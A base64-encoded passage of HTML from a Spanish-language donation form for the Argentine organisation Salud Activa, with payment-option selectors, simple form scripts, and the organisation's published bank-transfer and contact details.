GVtZW50QnlJZCgndHh0bW9udG8nKS5zdHlsZS5kaXNwbGF5PSdub25lJzsgfSAiPgogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNTAiPiQgNTA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEwMCI+JCAxMDA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE1MCI+JCAxNTA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIwMCI+JCAyMDA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ii0xIj5PdHJvLCBpbmdyZXNlIHZhbG9yPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gc29sb051bWVyb3MobXlmaWVsZCxlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJdmFyIGtleWNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYgKHdpbmRvdy5ldmVudCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICBrZXljb2RlID0gd2luZG93LmV2ZW50LmtleUNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgaWYgKGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgICAgIGtleWNvZGUgPSBlLndoaWNoOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYgKCgoa2V5Y29kZT40NykgJiYgKGtleWNvZGU8NTgpKSAgfHwgKGtleWNvZGU9PTgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJICAgIHJldHVybiB0cnVlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idHh0bW9udG8iIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjIwIiBpZD0idHh0bW9udG8iIHR5cGU9InRleHQiIG1heGxlbmd0aD0iNyIgb25LZXlQcmVzcz0icmV0dXJuIHNvbG9OdW1lcm9zKHRoaXMsIGV2ZW50KTsiIHN0eWxlPSJkaXNwbGF5Om5vbmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG11ZXN0cmFGb3JtYVBhZ28odmFsb3IpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAodmFsb3IgPT0gMikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9tZWRpb3BhZ28nKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9jdW90YXMnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9mb3JtYXBhZ29vdHJvJykuc3R5bGUuZGlzcGxheSA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaDFfdGFyamV0YScpLmlubmVySFRNTCA9ICdGb3JtYSBkZSBQYWdvPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2gxX2ZyZWN1ZW5jaWEnKS5pbm5lckhUTUwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9tZWRpb3BhZ28nKS5zdHlsZS5kaXNwbGF5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwX2N1b3RhcycpLnN0eWxlLmRpc3BsYXkgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3BfZm9ybWFwYWdvb3RybycpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdoMV90YXJqZXRhJykuaW5uZXJIVE1MID0gJ1RhcmpldGE8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaDFfZnJlY3VlbmNpYScpLmlubmVySFRNTCA9ICdGcmVjdWVuY2lhPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzZWxlY3QgbmFtZT0iZm9ybWFwYWdvIiBjbGFzcz0icmVnMiIgaWQ9ImZvcm1hcGFnbyIgb25DaGFuZ2U9Im11ZXN0cmFGb3JtYVBhZ28odGhpcy52YWx1ZSkiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjVweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxIj5UYXJqZXRhIGRlIENyw6lkaXRvPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPkVmZWN0aXZvICjDum5pY2EgdmV6KTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgaWQ9InBfbWVkaW9wYWdvIiBzdHlsZT0iZGlzcGxheTpub25lIj48c2VsZWN0IG5hbWU9Im1lZGlvcGFnbyIgY2xhc3M9InJlZzIiIGlkPSJtZWRpb3BhZ28iIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjZweDsiPgogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTUiPk1hc3RlcmNhcmQ8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPlZpc2E8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjYiPkFtZXJpY2FuIEV4cHJlc3M8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgIDxwIGlkPSJwX2N1b3RhcyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PHNlbGVjdCBuYW1lPSJjdW90YXMiIGNsYXNzPSJyZWcyIiBpZD0iY3VvdGFzIiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7IHRvcDo3cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPkQmZWFjdXRlO2JpdG8gQXV0b20mYWFjdXRlO3RpY28gKHRvZG9zIGxvcyBtZXNlcyk8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPsOabmljYSB2ZXo8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgPHAgaWQ9InBfZm9ybWFwYWdvb3RybyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PHNlbGVjdCBuYW1lPSJmb3JtYXBhZ29vdHJvIiBjbGFzcz0icmVnMiIgaWQ9ImZvcm1hcGFnb290cm8iIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjdweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOTk3Ij5EZXBvc2l0byBCYW5jYXJpbzwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOTk4Ij5QYWdvIGVuIEVmZWN0aXZvPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI5OTkiPkRpbmVyb01haWw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPiAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJyZWNpYmlyIiBpZD0iY2hlY2siIHR5cGU9ImNoZWNrYm94IiBjaGVja2VkPSJ0cnVlIiB2YWx1ZT0iU2kiIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMmaWFjdXRlOywgZGVzZW8gcmVjaWJpciAKICAgICAgICAgICAgICAgIGluZm9ybWFjaSZvYWN1dGU7biBwZXJpJm9hY3V0ZTtkaWNhIGRlIFNhbHVkIEFjdGl2YSB5IAogICAgICAgICAgICAgICAgc3VzIFByb3llY3RvcyBkZSBEZXNhcnJvbGxvLiAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJsaXN0YSIgaWQ9ImNoZWNrIiB0eXBlPSJjaGVja2JveCIgY2hlY2tlZD0idHJ1ZSIgdmFsdWU9IlNpIiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpIGRlc2VvIGFwYXJlY2VyIGVuIGxhIGxpc3RhIGRlIGRvbmFjaW9uZXMgaW5kaXZpZHVhbGVzLiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBcGFyZWNlciZhYWN1dGU7IHN1IG5vbWJyZSBlbiBsYSBsaXN0YSBkZWwgcG9ydGFsIGRlIFNhbHVkIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBY3RpdmEuPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idGVybWlub3MiIGlkPSJ0ZXJtaW5vcyIgdHlwZT0iY2hlY2tib3giIHZhbHVlPSJTaSIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBY2VwdG8gbG9zIHTDqXJtaW5vcyB5IGNvbmRpY2lvbmVzLjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRlbcOhcywgY29uIHR1IGRvbmFjacOzbiwgb2J0ZW7DqXMgZGVzY3VlbnRvcyBlbiB0b2RhcyBsYXMgYWN0aXZpZGFkZXMgZGUgU2FsdWQgQWN0aXZhOiBjdXJzb3MsIGpvcm5hZGFzLCBjb25ncmVzb3MuPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJpbWFnZSIgc3JjPSJmb3JtX2ZpbGVzL0ZPUk1VTEFSSU9fMTUuanBnIiBoZWlnaHQ9IjM4IiB0eXBlPSJpbWFnZSIgd2lkdGg9IjExNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBvbkNsaWNrPSJyZXR1cm4gcmVzZXQoKTsiIHNyYz0iZm9ybV9maWxlcy9ib3Rvbi1jYW5jZWxfMTUuanBnIiBoZWlnaHQ9IjM4IiB3aWR0aD0iMTE1Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC9maWVsZHNldD4KCiAgPC9mb3JtPgogIAogIDxiciAvPgo8YnIgLz4KCgoKPHRhYmxlIHdpZHRoPSI2MzMiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjAiIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjMjY1MjE3IiBjbGFzcz0iaDMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMTAiIGNlbGxwYWRkaW5nPSI3Ij4KICAgICAgPHRyPgogICAgICAgIDx0ZCBjbGFzcz0iaDUiPkZPUk1BUyBERSBQQUdPPC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+CiAgICAgIDxzcGFuIGNsYXNzPSJoNCI+CiAgICA8L3NwYW4+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCBiZ2NvbG9yPSIjQ0NDQ0NDIj48YnIgLz4KICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCIgY2VsbHNwYWNpbmc9IjUiPgogICAgICA8dHI+CiAgICAgICAgPHRkIGJnY29sb3I9IiNlMDY3MGEiPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSJoNSI+VGFyamV0YSBkZSBDUsOJRElUTyAocG9yIGTDqWJpdG8gYXV0b23DoXRpY28pPC9zcGFuPjwvdGQ+CiAgICAgIDwvdHI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIxODUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTAiPjxpbWcgc3JjPSJpbWFnZXMvdmlzYW1hc3RlcmFtZS5qcGciICB3aWR0aD0iMjM2IiBoZWlnaHQ9IjYwIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlNlIGxlIGRlYml0YXLDoSBkZSBzdSBjdWVudGEsIHRvZG9zIGxvcyBtZXNlcy4gTGUgcmVjb3JkYW1vcyBxdWUgZWwgZMOpYml0byBhdXRvbcOhdGljbyBkZSBzdSB0YXJqZXRhIGRlIGNyw6lkaXRvIHVzdGVkIGxvIHB1ZWRlIGNhbmNlbGFyIGVuIGVsIG1vbWVudG8gcXVlIGxvIGRlc2VlIGNvbXVuaWPDoW5kb3NlIGNvbiBub3NvdHJvczwvc3Bhbj48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgICAgPC90YWJsZT4KICAgICAgICAgIDxwPgogICAgICAgICAgPC9wPjwvdGQ+CiAgICAgIDwvdHI+CiAgICA8L3RhYmxlPgogICAgICA8cD4mbmJzcDs8L3A+CiAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0iMTAiIGNlbGxzcGFjaW5nPSI1Ij4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYmdjb2xvcj0iI2UwNjcwYSI+Jm5ic3A7IDxzcGFuIGNsYXNzPSJoNSI+RUZFQ1RJVk8gcG9yIMO6bmljYSB2ZXogPC9zcGFuPjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj48ZW0+VXN0ZWQgcmVhbGl6YXLDoSBsYSBkb25hY2nDs24gcG9yIMO6bmljYSB2ZXouIFB1ZWRlIGRvbmFyIGxhcyB2ZWNlcyBxdWUgcXVpZXJhLCBjb21wbGV0YW5kbyBudWV2YW1lbnRlIGVzdGUgZm9ybXVsYXJpbyBlIGluZ3Jlc2FuZG8gZWwgbW9udG8gZGVzZWFkby48L2VtPjwvc3Bhbj48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNDQ0NDQ0MiPjxzcGFuIGNsYXNzPSJoMiI+PHN0cm9uZz5Qb3IgIHRyYW5zZmVyZW5jaWEgYmFuY2FyaWEgbyBkZXDDs3NpdG88L3N0cm9uZz4gPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSUiPjxzcGFuIGNsYXNzPSJoMyI+QVJHRU5USU5BPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijg1JSI+PHNwYW4gY2xhc3M9ImgzIj48aW1nIHNyYz0iaW1hZ2VzL2dhbGljaWEuanBnIiB3aWR0aD0iMTA3IiBoZWlnaHQ9IjE5IiBhbGlnbj0ibWlkZGxlIiAvPjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjciPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoMyI+RGF0b3MgcGFyYSBkZXDDs3NpdG9zIHkvbyB0cmFuc2ZlcmVuY2lhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIxJSI+PHNwYW4gY2xhc3M9ImgzIj5FbnRpZGFkIEJhbmNhcmlhOiA8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijc5JSI+PHNwYW4gY2xhc3M9ImgzIj5CYW5jbyBHYWxpY2lhPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj5UaXR1bGFyIGRlIEN1ZW50YTo8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj5TYWx1ZCBBY3RpdmE8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlRpcG8gZGUgY3VlbnRhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkN1ZW50YSBDb3JyaWVudGUgZW4gcGVzb3M8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPk7Dum1lcm8gZGUgY3VlbnRhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPjU1MTctOCAwNTktNDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+Q0JVOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPjAwNzAwNTk3MjAwMDAwMDU1MTc4NDY8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkNVSVQ6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+MzAtNzA4MDE0NjMtNjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiIGNsYXNzPSJoMyI+UkVTVE8gREVMIE1VTkRPPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0iaDMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjciPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoMyI+RGF0b3MgcGFyYSBkZXDDs3NpdG9zIHkvbyB0cmFuc2ZlcmVuY2lhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMSUiPjxzcGFuIGNsYXNzPSJoMyI+RW50aWRhZCBCYW5jYXJpYTogPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3OSUiPjxzcGFuIGNsYXNzPSJoMyI+V2FjaG92aWEgQmFuayBOLkEuIC0gTmV3IFlvcms8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlN3aWZ0IEFkZHJlc3M6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+UE5CUFVTM05OWUM8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkZlZHdpcmU6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+MDI2MDA1MDkyPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHA+PC9wPgogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0NDQ0NDQyI+PHNwYW4gY2xhc3M9ImgyIj5BY2Vyw6FuZG9zZSBhIG51ZXN0cmEgZW50aWRhZDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0iMTAiIGNlbGxzcGFjaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiPjx0YWJsZSB3aWR0aD0iMzAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7Jm5ic3A7PGltZyBzcmM9ImltYWdlcy9zYWx1ZC5qcGciIHdpZHRoPSIxNTQiIGhlaWdodD0iMzkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJoMyI+RGlyZWNjaW9uOiBBdi4gUHRlIFBlcsOzbiAoZXggUml2YWRhdmlhKSAyNTE0MC4gTWVybG8gQnMuIEFzLjxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICBUZWwuOiAwMjIwIDQ4Mjg0MTggLyA0ODYxMTgwPGJyIC8+CiAgICAgICAgICAgICAgICAgICAgICAgIEUtbWFpbDogc2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICA8cD48L3A+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0NDQ0NDQyIgY2xhc3M9ImgyIj5ESU5FUk8gTUFJTDwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCIgY2VsbHNwYWNpbmc9IjUiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIzMDAiIGJvcmRlcj0i